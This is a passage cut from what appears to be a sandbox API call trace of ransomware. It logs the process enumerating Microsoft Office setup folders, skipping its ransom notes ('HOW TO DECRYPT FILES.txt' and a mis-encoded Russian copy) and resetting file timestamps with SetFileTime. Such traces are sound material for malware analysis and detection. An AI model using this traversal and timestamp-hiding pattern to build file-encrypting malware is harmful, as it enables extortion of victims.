returned -1 [0058.406] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll") returned="promointl.dll" [0058.406] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.406] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.406] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0058.406] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.406] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PSS10O.CHM") returned -1 [0058.406] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PSS10O.CHM") returned -1 [0058.406] lstrcmpiA (lpString1="", lpString2="PSS10O.CHM") returned -1 [0058.406] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned="PSCONFIG.CHM" [0058.406] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.406] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.406] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0058.406] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.406] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PSS10R.CHM") returned -1 [0058.406] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PSS10R.CHM") returned -1 [0058.407] lstrcmpiA (lpString1="", lpString2="PSS10R.CHM") returned -1 [0058.407] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned="PSS10O.CHM" [0058.407] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.407] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.407] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0058.407] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.407] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.CHM") returned -1 [0058.407] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.CHM") returned -1 [0058.407] lstrcmpiA (lpString1="", lpString2="SETUP.CHM") returned -1 [0058.407] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned="PSS10R.CHM" [0058.407] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.407] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.407] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.407] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.408] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.408] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.408] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.408] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM") returned="SETUP.CHM" [0058.408] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" [0058.408] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\") returned="" [0058.408] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.408] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.408] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Office32.en-us", cAlternateFileName="OFFICE~2.EN-")) returned 1 [0058.408] lstrcmpA (lpString1=".", lpString2="Office32.en-us") returned -1 [0058.408] lstrcmpA (lpString1="..", lpString2="Office32.en-us") returned -1 [0058.408] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.408] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650063, dwReserved1=0x65002e, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.410] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.410] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x650000, cFileName="..", cAlternateFileName="")) returned 1 [0058.410] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.410] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.410] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0058.410] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.410] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Office32MUI.XML") returned -1 [0058.410] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Office32MUI.XML") returned -1 [0058.410] lstrcmpiA (lpString1="", lpString2="Office32MUI.XML") returned -1 [0058.410] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*") returned="*.*" [0058.410] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" [0058.410] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\") returned="" [0058.418] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.418] CloseHandle (hObject=0x94) returned 1 [0058.419] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.419] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.419] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.419] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.419] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.419] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned="Office32MUI.XML" [0058.419] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" [0058.419] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\") returned="" [0058.419] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0058.419] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.420] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0058.420] lstrcmpA (lpString1=".", lpString2="Office32.WW") returned -1 [0058.420] lstrcmpA (lpString1="..", lpString2="Office32.WW") returned -1 [0058.420] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.420] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650063, dwReserved1=0x320033, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.421] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.421] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x320000, cFileName="..", cAlternateFileName="")) returned 1 [0058.421] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.421] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.421] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0058.421] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.421] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Office32WW.XML") returned -1 [0058.422] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Office32WW.XML") returned -1 [0058.422] lstrcmpiA (lpString1="", lpString2="Office32WW.XML") returned -1 [0058.422] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*.*") returned="*.*" [0058.422] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\" [0058.422] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\") returned="" [0058.423] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.423] CloseHandle (hObject=0x94) returned 1 [0058.424] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 0 [0058.424] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.424] FindNextFileA (in: hFindFile=0x4f8208, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0058.424] lstrcmpA (lpString1=".", lpString2="OneNote.en-us") returned -1 [0058.424] lstrcmpA (lpString1="..", lpString2="OneNote.en-us") returned -1 [0058.424] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*") returned="*.*" [0058.424] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName=".", cAlternateFileName="")) returned 0x4f8158 [0058.425] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.425] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.425] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.425] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.426] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0058.426] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.426] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="OneNoteMUI.XML") returned -1 [0058.426] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="OneNoteMUI.XML") returned -1 [0058.426] lstrcmpiA (lpString1="", lpString2="OneNoteMUI.XML") returned -1 [0058.426] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*.*") returned="*.*" [0058.426] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" [0058.426] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\") returned="" [0058.429] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.429] CloseHandle (hObject=0x94) returned 1 [0058.430] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x4f8568, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0058.430] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0058.430] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SETUP.XML") returned -1 [0058.430] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SETUP.XML") returned -1 [0058.430] lstrcmpiA (lpString1="", lpString2="SETUP.XML") returned -1 [0058.430] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned="OneNoteMUI.XML" [0058.430] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" [0058.430] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\") returned="" [0058.430] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, 